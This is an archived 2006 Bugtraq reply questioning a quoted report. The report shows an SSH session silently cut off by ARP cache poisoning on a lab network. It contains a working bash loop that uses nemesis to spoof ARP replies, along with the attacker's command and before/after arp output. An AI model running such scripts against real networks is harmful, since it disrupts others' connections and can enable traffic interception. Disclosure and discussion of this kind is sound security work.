bugtraq - Re: IGNORING SSH CONNECTION USES ARP CACHE POISSONING

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <621b657f0605091550i4c01e810uc99c3f3c8c1dd4b1@mail.gmail.com>
Date: Tue, 9 May 2006 19:50:34 -0300
From: "Felipe openglx" <openglx@...rByte.net>
To: "king_purba@...oo.co.uk" <king_purba@...oo.co.uk>
Cc: bugtraq@...urityfocus.com
Subject: Re: IGNORING SSH CONNECTION USES ARP CACHE POISSONING


Correct me if I'm wrong, but isn't this just a trivial ARP poisoning?
If you poison an ARP table anything that happens on upper layers of
the stack (IP communications, as you are saying you poisoned) will be
affected.

How were the machines connected? Using a ethernet hub or a switch?

I don't see that as been a effective attack, actually.

On 9 May 2006 10:48:18 -0000, king_purba@...oo.co.uk
<king_purba@...oo.co.uk> wrote:
> Author : Ph03n1X
> Email  : king_purba@...oo.co.uk
> Site    : http://kandangjamur.net/
> Severity : Moderate
>
> IGNORING SSH CONNECTION USES ARP CACHE POISSONING
>
> We know that tcp connection will close by sending RST flag.
> I try to connect to my openssh server on
> slackware 10 from my computer fedora core 4. Then using an
> openbsd 3.7, that had same network with slackware n fedora,
> try to overwrite ARP cache on my fedora core 4. After arp
> cache has been overwriten, all packet from fedora core 4
> to slackware 10 is ignored. May be this problem is not only
> on ssh but on other tcp protocol.
>
> Exploitation :
>
> 1. OpenSSH on slackware has IP 172.16.11.235 and MAC 00:80:48:EB:50:F2
> 2. Client using Fedora has IP 172.16.11.103 and MAC 00:00:21:27:12:1F
> 3. Attacker using OpenBSD has IP 172.16.11.234 and MAC 00:c0:26:6f:3a:1a
> 4. Now, login ssh from 172.16.11.103 to 172.16.11.235
>
> Before exploitation you can use shell command on 172.16.11.235
> as you wish and also you can manage 172.16.11.235 from 172.16.11.103.
>
> 5. ARP cache on 172.16.11.103 before overwriting
>
> fc4-$arp -na
> ? (172.16.11.235) at 00:80:48:EB:50:F2 [ether] on eth0
> ? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0
>
> 6. Overwriting ARP cache on 172.16.11.103 from 172.16.11.234 using nemesis and simple bash script
>
>
> #!/bin/sh
> if [ -z "$5" ]
> #
> # Script ini akan mengatakan bahwa IP server ada di MAC xxxx
> # Sehingga client tidak menghubungi server melainkan xxxx
> #
>
> then
>         echo
>         echo "Usage : $0 <interface attacker> <ip server ssh> <ip client> <valid MAC address/up to u> <MAC client>"
>         echo
>         exit
> fi
>
> while true
> do
>         nemesis arp -v -r -d $1 -S $2 -D $3 -h $4 -m $5 -H $4 -M $5
>         sleep 2;
> done
>
>
> openbsd-$./arp-cachep.sh rl0 172.16.11.235 172.16.11.103 00:c0:26:6f:3a:00 00:00:21:27:12:1f
>
>
> 7. Now check ARP cache on 172.16.11.103 after overwriting
>
> fc4-$arp -na
> ? (172.16.11.235) at 00:C0:26:6F:3A:00 [ether] on eth0 <-- ARP cache has been overwriten
> ? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0
>
> 8. Now, back to ssh connection on 172.16.11.235 from 172.16.11.103. Type, any character on ssh console, yep no data connection, you cannot do anything on ssh console because ssh connection has been ignored but not closed.
>